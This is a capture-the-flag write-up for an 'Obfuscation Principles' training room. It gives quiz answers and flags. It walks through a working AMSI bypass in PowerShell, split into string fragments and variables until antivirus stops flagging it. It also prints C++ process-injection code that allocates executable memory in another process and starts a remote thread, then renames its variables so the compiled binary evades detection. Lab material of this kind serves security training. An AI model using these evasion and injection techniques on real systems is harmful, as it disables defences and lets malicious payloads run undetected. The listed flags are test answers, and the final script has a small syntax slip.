Obfuscation Principles
-
Read the above and continue to the next task.
No Answer
-
How many core layers make up the Layered Obfuscation Taxonomy?
Per Layer Obfuscation Paper :
Answer : 4
-
What sub-layer of the Layered Obfuscation Taxonomy encompasses meaningless identifiers?
Answer : Obfuscating Layout
-
What obfuscation method will break or split an object?
Answer : data splitting
-
What obfuscation method is used to rewrite static data with a procedure call?
Answer : data procedurization
-
What flag is found after uploading a properly obfuscated snippet?
The following powershell snippet is detect as malicious :
PS C:\Users\Student> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
So i decide to break the command in multiple parts and test those with breaking methods. The first block of code doesn't trigger the malicious content :
PS C:\Users\Student> [Ref].Assembly
GAC Version Location
--- ------- --------
True v4.0.30319 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856...
Let's add the first object call :
PS C:\Users\Student> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
And now with breaking parts for the String parameters :
PS C:\Users\Student> [Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils')
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
False False AmsiUtils System.Object
It returns something non-blocked so i can repeat the step with the next call block :
PS C:\Users\Student> [Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils').GetField('amsiIni'+'tFailed','NonP'+'ublic,Sta'+'tic')
Name : amsiInitFailed
MetadataToken : 67114376
FieldHandle : System.RuntimeFieldHandle
Attributes : Private, Static
FieldType : System.Boolean
MemberType : Field
ReflectedType : System.Management.Automation.AmsiUtils
DeclaringType : System.Management.Automation.AmsiUtils
Module : System.Management.Automation.dll
IsPublic : False
IsPrivate : True
IsFamily : False
IsAssembly : False
IsFamilyAndAssembly : False
IsFamilyOrAssembly : False
IsStatic : True
IsInitOnly : False
IsLiteral : False
IsNotSerialized : False
IsSpecialName : False
IsPinvokeImpl : False
IsSecurityCritical : True
IsSecuritySafeCritical : False
IsSecurityTransparent : False
CustomAttributes : {}
Lastly, adding the "SetValue($null,$true)" return the error again and is detected as malicious. We can evade this by replacing the parameters by other variables :
PS C:\Users\Student> $x = $null
PS C:\Users\Student> $y = $true
PS C:\Users\Student> [Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils').GetField('amsiIni'+'tFailed','NonP'+'ublic,Sta'+'tic').SetValue($x,$y)
Not detected. Let's submit this snippet to the webserver to get the flag :
evade.ps1 :
-----------
$x = $null
$y = $true
[Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils').GetField('amsiIni'+'tFailed','NonP'+'ublic,Sta'+'tic').SetValue(x,y)
Answer : THM{koNC473n473_4Ll_7H3_7H1n95}
-
What are junk instructions referred to as in junk code?
Answer : code stubs
-
What obfuscation layer aims to confuse an analyst by manipulating the code flow and abstract syntax trees?
Answer : obfuscating controls
-
Can logic change and impact the control flow of a program? (T/F)
"To make this concept concrete, we can observe an example function and its corresponding CFG (Control Flow Graph) to depict it’s possible control flow paths."
x = 10 if(x > 7): print("This executes") else: print("This is ignored")
Answer : T
-
What flag is found after properly reversing the provided snippet?
After doing some iteration to understand the logic flow, we can add the code snippet in a python script and run it :
C:\Users\test\Downloads>python3 challenge2.py
T
H
M
{
D
3
c
o
d
3
d
!
!
!
}
Answer : THM{D3cod3d!!!}
-
What flag is found after uploading a properly obfuscated snippet?
First, recreate the challenge-8.cpp file :
root@ip-10-10-107-112:~/Desktop# cat challenge-8.cpp
#include "windows.h"
#include <iostream>
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
string leaked = "This was leaked in the strings";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
cout << "Handle obtained for" << processHandle;
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
cout << "Buffer Created";
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
cout << "Process written with buffer" << remoteBuffer;
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
cout << "Closing handle" << processHandle;
cout << leaked;
return 0;
}
Then we need to compile this with MingW32-G++. I checked for the syntax to used and found the the call to x86_64-w64-mingw32-g++ as a command. We can now look at the help :
root@ip-10-10-107-112:~/Desktop# x86_64-w64-mingw32-g++ --help
Usage: x86_64-w64-mingw32-g++ [options] file...
Options:
-pass-exit-codes Exit with highest error code from a phase.
--help Display this information.
--target-help Display target specific command line options.
--help={common|optimizers|params|target|warnings|[^]{joined|separate|undocumented}}[,...].
Display specific types of command line options.
(Use '-v --help' to display command line options of sub-processes).
--version Display compiler version information.
-dumpspecs Display all of the built in spec strings.
-dumpversion Display the version of the compiler.
-dumpmachine Display the compiler's target processor.
-print-search-dirs Display the directories in the compiler's search path.
-print-libgcc-file-name Display the name of the compiler's companion library.
-print-file-name=<lib> Display the full path to library <lib>.
-print-prog-name=<prog> Display the full path to compiler component <prog>.
-print-multiarch Display the target's normalized GNU triplet, used as
a component in the library path.
-print-multi-directory Display the root directory for versions of libgcc.
-print-multi-lib Display the mapping between command line options and
multiple library search directories.
-print-multi-os-directory Display the relative path to OS libraries.
-print-sysroot Display the target libraries directory.
-print-sysroot-headers-suffix Display the sysroot suffix used to find headers.
-Wa,<options> Pass comma-separated <options> on to the assembler.
-Wp,<options> Pass comma-separated <options> on to the preprocessor.
-Wl,<options> Pass comma-separated <options> on to the linker.
-Xassembler <arg> Pass <arg> on to the assembler.
-Xpreprocessor <arg> Pass <arg> on to the preprocessor.
-Xlinker <arg> Pass <arg> on to the linker.
-save-temps Do not delete intermediate files.
-save-temps=<arg> Do not delete intermediate files.
-no-canonical-prefixes Do not canonicalize paths when building relative
prefixes to other gcc components.
-pipe Use pipes rather than intermediate files.
-time Time the execution of each subprocess.
-specs=<file> Override built-in specs with the contents of <file>.
-std=<standard> Assume that the input sources are for <standard>.
--sysroot=<directory> Use <directory> as the root directory for headers
and libraries.
-B <directory> Add <directory> to the compiler's search paths.
-v Display the programs invoked by the compiler.
-### Like -v but options quoted and commands not executed.
-E Preprocess only; do not compile, assemble or link.
-S Compile only; do not assemble or link.
-c Compile and assemble, but do not link.
-o <file> Place the output into <file>.
-pie Create a position independent executable.
-shared Create a shared library.
-x <language> Specify the language of the following input files.
Permissible languages include: c c++ assembler none
'none' means revert to the default behavior of
guessing the language based on the file's extension.
Options starting with -g, -f, -m, -O, -W, or --param are automatically
passed on to the various sub-processes invoked by x86_64-w64-mingw32-g++. In order to pass
other options on to these processes the -W<letter> options must be used.
For bug reporting instructions, please see:
<https://gcc.gnu.org/bugs/>.
We can try with the general usage form and adding the -o for setting up the output file name as challenge-8.exe :
root@ip-10-10-107-112:~/Desktop# x86_64-w64-mingw32-g++ challenge-8.cpp -o challenge-8.exe
root@ip-10-10-107-112:~/Desktop# ls
'Additional Tools' challenge-8.cpp challenge-8.execlear reverse.exe
chal2.py challenge-8.exe mozo-made-15.desktop Tools
When uploading this to the webserver the payload failed :
We can try to redo the previous step after obfuscate the cpp file changing all variables names :
root@ip-10-10-107-112:~/Desktop# cat challenge-8.cpp
#include "windows.h"
using namespace std;
int main(int argc, char* argv[])
{
unsigned char slce[] = "";
HANDLE pshe;
HANDLE retd;
PVOID rebr;
pshe = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
rebr = VirtualAllocEx(pshe, NULL, sizeof slce, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pshe, rebr, slce, sizeof slce, NULL);
retd = CreateRemoteThread(pshe, NULL, 0, (LPTHREAD_START_ROUTINE)rebr, NULL, 0, NULL);
CloseHandle(pshe);
return 0;
}
root@ip-10-10-107-112:~/Desktop# x86_64-w64-mingw32-g++ challenge-8.cpp -o challenge-8.exe
root@ip-10-10-107-112:~/Desktop# ls | grep "challenge-8"
challenge-8.cpp
challenge-8.exe
And this time it's works :
Answer : THM{Y0Ur_1NF0_15_M1N3}
-
Read the above and continue learning!
No Answer.